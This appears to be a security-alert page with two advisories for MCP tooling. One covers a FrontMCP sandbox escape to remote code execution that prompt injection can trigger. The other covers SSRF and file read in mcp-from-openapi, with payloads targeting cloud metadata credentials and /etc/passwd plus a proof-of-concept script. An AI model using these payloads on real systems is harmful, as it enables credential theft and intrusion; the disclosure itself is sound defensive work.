Where
-Infinity
0

Vendor Risk Score

See how frontmcp compares to other vendors in security performance

View Risk Score →
Severity
9.3
Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

FrontMCP is a TypeScript-first framework for the Model Context Protocol (MCP). Prior to 1.5.7, the sandboxed codecall:execute tool exposes live host Zod schema instances to the script via getTool(), and because Zod v4 defines zod as a non-configurable, non-writable own property, the ECMAScript Proxy invariants force the security membrane to hand back the raw host object, letting a script reach zod.constr.constructor (the host Function constructor) and execute arbitrary code in the server process. A single tools/call is sufficient to escape the sandbox and achieve remote code execution as the server user, exposing everything the process holds such as OAuth client secrets, JWTSECRET, session keys, database credentials, and cloud instance metadata. Because the framework's DEFAULTAUTHOPTIONS is public mode, an unconfigured server serves this to unauthenticated callers, and on authenticated servers an indirect prompt injection in tool output or fetched content can trigger it without a human attackerThis issue is fixed in version 1.5.7.

First published (updated )
Severity
7.5
SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The mcp-from-openapi library uses @apidevtools/json-schema-ref-parser to dereference $ref pointers in OpenAPI specifications without configuring any URL restrictions or custom resolvers. A malicious OpenAPI specification containing $ref values pointing to internal network addresses, cloud metadata endpoints, or local files will cause the library to fetch those resources during the initialize() call. This enables Server-Side Request Forgery (SSRF) and local file read attacks when processing untrusted OpenAPI specifications.

Affected Versions

<= 2.1.2 (latest)

CWE

CWE-918: Server-Side Request Forgery (SSRF)

Vulnerability Details

File: index.js lines 870-875

When OpenAPIToolGenerator.initialize() is called, it dereferences the OpenAPI document using json-schema-ref-parser:

javascript this.dereferencedDocument = await importjsonschemarefparser.default.dereference( JSON.parse(JSON.stringify(this.document)) );

No options are passed to .dereference() — no URL allowlist, no custom resolvers, no protocol restrictions. The ref parser fetches any URL it encounters in $ref values, including:

- http:// and https:// URLs (internal services, cloud metadata) - file:// URLs (local filesystem)

This is the default behavior of json-schema-ref-parser — it resolves all $ref pointers by fetching the referenced resource.

Exploitation

Attack 1: SSRF to internal services / cloud metadata

A malicious OpenAPI spec containing:

json { "openapi": "3.0.0", "info": { "title": "Evil API", "version": "1.0" }, "paths": { "/test": { "get": { "operationId": "getTest", "summary": "test", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } } } } } } } } }

When processed by OpenAPIToolGenerator, the library fetches http://169.254.169.254/latest/meta-data/iam/security-credentials/ from the server, potentially leaking AWS IAM credentials.

Attack 2: Local file read

json { "$ref": "file:///etc/passwd" }

The ref parser reads local files and includes their contents in the dereferenced output.

Proof of Concept

javascript const http = require('http'); const { OpenAPIToolGenerator } = require('mcp-from-openapi');

// Start attacker server to prove SSRF const srv = http.createServer((req, res) => { console.log(SSRF HIT: ${req.method} ${req.url}); res.writeHead(200, {'Content-Type': 'application/json'}); res.end('{"type":"string"}'); });

srv.listen(9997, async () => { const spec = { openapi: '3.0.0', info: { title: 'Evil', version: '1.0' }, paths: { '/test': { get: { operationId: 'getTest', summary: 'test', responses: { '200': { description: 'OK', content: { 'application/json': { schema: { '$ref': 'http://127.0.0.1:9997/ssrf-proof' } } } } } } } } };

const gen = new OpenAPIToolGenerator(spec, { validate: false }); await gen.initialize(); // Output: "SSRF HIT: GET /ssrf-proof" // The library fetched our attacker URL during $ref dereferencing.

srv.close(); });

Tested and confirmed on mcp-from-openapi v2.1.2. The attacker server receives the GET request during initialize().

Impact

- Cloud credential theft — $ref pointing to http://169.254.169.254/ steals AWS/GCP/Azure metadata - Internal network scanning — $ref values can probe internal services and ports - Local file read — file:// protocol reads arbitrary files from the server filesystem - No privileges required — attacker only needs to provide a crafted OpenAPI spec to any application using this library

Suggested Fix

Pass resolver options to dereference() that restrict which protocols and hosts are allowed:

javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, // Disable file:// protocol http: { // Only allow same-origin or explicitly allowed hosts headers: this.options.headers, timeout: this.options.timeout, } } } );

Or disable all external resolution and require all schemas to be inline:

javascript this.dereferencedDocument = await $RefParser.dereference( JSON.parse(JSON.stringify(this.document)), { resolve: { file: false, http: false, https: false } } );

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203